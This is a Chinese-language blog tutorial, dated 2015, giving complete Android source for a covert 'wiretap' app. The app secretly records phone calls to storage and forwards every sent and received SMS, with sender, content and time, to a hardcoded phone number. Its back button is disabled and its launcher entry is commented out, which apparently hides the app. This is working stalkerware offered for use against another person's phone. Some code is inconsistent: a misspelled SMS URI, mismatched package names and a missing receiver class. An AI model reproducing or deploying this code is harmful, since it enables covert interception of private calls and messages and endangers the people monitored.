Android Service 服務的應用之電話監聽器以及簡訊監聽器

陽陽的部落格發表於2015-07-19

首先建立一個專案工程檔案,如下圖所示:

首先在MainActivity.java檔案啟動電話和簡訊的介面,程式碼如下

package com.xunfang.wiretap;

import com.xunfang.observer.MyObserver;
import com.xunfang.services.PhoneService;

import android.support.v7.app.ActionBarActivity;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.os.Handler;
import android.view.Menu;
import android.view.MenuItem;

public class MainActivity extends ActionBarActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        //電話
        setContentView(R.layout.activity_main);
        Intent intent = new Intent(this,PhoneService.class);
        startService(intent);
        //簡訊
        Uri uri = Uri.parse("conten://sms");
        getContentResolver().registerContentObserver(uri, true, new MyObserver(this,new Handler()));

    }
    @Override
    public void onBackPressed() {
    }
}

然後進入電話管理服務介面PhoeService.java介面。程式碼如下

package com.xunfang.phoneservice;

import java.io.IOException;

import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;

public class PhoneService extends Service {

    // 管理電話
    private TelephonyManager tm;

    private MyListener listener;

    // 建立一個收音機
    private MediaRecorder mr;

    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

    @Override
    public void onCreate() {
        super.onCreate();
        // 例項化
        tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);

        // 監聽電話的狀態
        listener = new MyListener();
        // 註冊監聽者,監聽電話的狀態
        tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
    }

    private class MyListener extends PhoneStateListener {
        @Override
        public void onCallStateChanged(int state, String incomingNumber) {
            super.onCallStateChanged(state, incomingNumber);

            switch (state) {
            case TelephonyManager.CALL_STATE_IDLE: // 空閒狀態
                System.out.println("電話空閒");
                if (mr != null) {
                    // 說明錄音機停止錄音了
                    mr.stop();
                    mr.release();
                    mr = null;
                }
                break;
            case TelephonyManager.CALL_STATE_OFFHOOK: // 摘機狀態(通話狀態)
                System.out.println("通話狀態");
                // 1.建立一個收音機
                mr = new MediaRecorder();
                // 2.設定音源
                mr.setAudioSource(MediaRecorder.AudioSource.VOICE_CALL); // ZET
                // 3.設定錄製音訊的格式
                mr.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
                // 4設定音訊的取樣率
                mr.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
                // 5.設定錄製的檔案放置的位置
                mr.setOutputFile("/mnt/sdcard/xxx.avi");
                // 6.準備錄製
                try {
                    mr.prepare();
                } catch( Exception e) {
                    e.printStackTrace();
                }
                // 7.開始錄製
                mr.start();

                break;
            case TelephonyManager.CALL_STATE_RINGING: // 響鈴狀態
                System.out.println("響鈴狀態");
                break;
            }
        }
    }

}

然後進入管理簡訊服務介面MyObserver.java,程式碼如下所示

package com.xunfang.observer;

import java.text.SimpleDateFormat;
import java.util.Date;

import android.content.ContentResolver;
import android.content.Context;
import android.database.ContentObserver;
import android.database.Cursor;
import android.net.Uri;
import android.os.Handler;
import android.telephony.SmsManager;

public class MyObserver extends ContentObserver {
    private Context context;
    public MyObserver(Context context,Handler handler) {
        super(handler);
        this.context = context;
    }

    @Override
     public void onChange(boolean selfChange, Uri uri) {
        ContentResolver resolver = context.getContentResolver();
        Cursor cursor = resolver.query(uri, new String[]{"address","body","type","date"}, null, null, "date desc");
        cursor.moveToFirst();
        String address = cursor.getString(0);
        String body = cursor.getString(1);
        int type = cursor.getInt(2);
        long date = cursor.getLong(3);
        //將日期格式化,按這個模式輸出日期
        String time = new SimpleDateFormat("yyy-MM-dd hh:mm:ss").format(new Date(date));
        //type=1,表示傳送簡訊,而type=2是表示接收簡訊,這個可以預設系統簡訊的資料庫表匯出來看一下
        if(type ==2 ){
            String sms = "檢測的到對方的手機傳送資訊: 地址:" + address + " 內容:" + body + "時間 :" + time;
            String phone = "18883278692";  //這個電話號碼是你要將這個資訊傳送到哪個人的電話號碼
            //拿到預設簡訊管理器
            SmsManager sm = SmsManager.getDefault();
            //傳送簡訊
            sm.sendTextMessage(phone, null, sms, null, null) ;
            System.out.println("檢測的到對方的手機傳送資訊: 地址:" + address + " 內容:" + body + "時間 :" + time );
        }
        if(type == 1){
            String sms = "檢測的到對方的手機接收到的資訊: 地址:" + address + " 內容:" + body + "時間 :" + time;
            String phone = "18883278692";      //這個電話號碼是你要將這個資訊傳送到哪個人的電話號碼
            SmsManager sm = SmsManager.getDefault();
            sm.sendTextMessage(phone, null, sms, null, null) ;
            System.out.println("檢測的到對方的手機接收到的資訊: 地址:" + address + " 內容:" + body + "時間 :" + time );
        }
     }

}

程式碼到這裡就差不多了,不過千萬不要忘了新增許可權和服務的申明,在AndroidManifest.xml配置如下

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.xunfang.wiretap"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk
        android:minSdkVersion="8"
        android:targetSdkVersion="21" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
    <uses-permission android:name="android.permission.WRITE_SMS"/>
    <uses-permission android:name="android.permission.READ_SMS"/>
    <uses-permission android:name="android.permission.SEND_SMS"/>

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
       <!--  <activity
            android:name=".MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity> -->
        <service 
            android:name="com.xunfang.services.PhoneService"></service>
         <receiver 
            android:name="com.xunfang.broadrecevice.MyBroadReceiver"
            >
            <intent-filter >
                <action 
                    android:name="android.intent.action.NEW_OUTGOING_CALL"
                    />
            </intent-filter>
        </receiver>
    </application>

</manifest>

到這裡已經全部配置完成,可以用真實機進行測試。

相關文章